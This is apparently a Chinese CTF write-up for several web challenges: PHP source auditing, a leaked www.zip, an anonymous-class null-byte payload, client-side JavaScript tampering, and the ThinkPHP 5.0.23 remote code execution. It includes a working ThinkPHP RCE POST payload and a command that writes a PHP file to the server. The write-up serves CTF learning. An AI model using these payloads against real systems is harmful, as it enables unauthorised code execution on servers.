来签个到吧~~

image-20240915202210810

我们审计代码,转义16进制为ascii码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// 禁止显示错误报告
error_reporting(0);

// 显示当前文件的源代码
highlight_file(__FILE__);

// 检查请求参数 'id' 是否等于 base64 编码后的 "henan"
if (!($_REQUEST["id"] == base64_encode("henan"))) {
// 如果不等于,跳转到 lklsgyy 标签
goto lklsgyy;
}

// 如果等于,输出环境变量 GZCTF_FLAG 的值
echo getenv("\107\132\103\124\106\137\106\114\101\107");

// 标签 lklsgyy(没有代码)
lklsgyy:

1
?id=aGVuYW4=

得到flag

貌似露了点什么?!

我们扫描目录,发现存在www.zip,我们将文件下载下来

发现里面有个文件

image-20240915202925278

我们用记事本打开,得到flag

记得匿名哟~

这题考的是php的匿名类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = new class {
function getflag()
{
system('cat /flag.txt');
}
};
unset($a);
$a = $_GET['class'];
$f = new $a();
$f->getflag();
?>

我们先代码审计

先定义了一个匿名类并创建了一个对象

删除了之前创建的匿名类对象

然后通过$_GET['class']来获取外部传入的参数并赋值给$a

这里有一个unset的操作,去搜一下就可以发现很多关于unset的解释,因为这个匿名类没有到256字节的长度,所以unset不会马上就删除掉它的内存,只是把这个名字给擦去了。

那么我们只需要找到这块内存,然后扒出来就行了。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a = new class {
function getflag()
{
system('cat /flag.txt');
}
};

$f = new $a();
echo get_class($f);
$f->getflag();
?>

image-20240915203451573

找到了如何调用这个匿名类,但是有个问题就是,最后的数字一定要对上,:后面是类所在的行,$0后面是访问次数,要一致

payload

1
?class=class@anonymous%00/var/www/html/index.php:4$0

我们进行爆破

得到flag

image-20240915203836297

哎哟你干嘛~~

image-20240918195118593

我们看到题目需要我们点击图片99999999次,我们想到修改js或bp发包,我试了下bp发包不可行,那我们就尝试修改js

image-20240918195358478

我们在index.js里面发现,如果H1的值是99999999的话,就会输出flag

我们在控制台进行修改,将H1改为99999998

image-20240918195510423

我们再点击一下图片就能得到flag

image-20240918195535495

进行base64解码得到flag

包简单,一把梭

image-20240918195640146

刚看到这个题我以为是sql注入,但尝试了很久后发现没啥用,我们扫描目录

image-20240918195729206

当目录为www.zip时报错,并提示了[ThinkPHP](http://www.thinkphp.cn/) V5.0.23 ,我们想到ThinkPHP V5.0.23 (远程代码执行)漏洞

漏洞引入:

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞

漏洞利用

  • 1、访问靶机地址+端口号传入,url后接入/index.php?s=captcha进入首页
  • 2、Burp抓包修改传参方式为Post,传入参数为”_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd”,其中pwd为系统执行命令可进行一系列操作。

我们进行尝试

image-20240918200229269

成功执行

我们尝试重定向写入phpinfo

1
echo "<?php phpinfo(); ?>" > info.php

我们访问info.php

image-20240918200405203

执行成功

我们搜索flag

image-20240918200510309

找到flag

玩会小游戏吧

题目提示玩到9999分就能得到flag,玩是不可能玩的,我们考虑修改js

image-20240919080942210

我们修改重新开始的js方法的distanceRun为一个超大的值,flag就自己出来了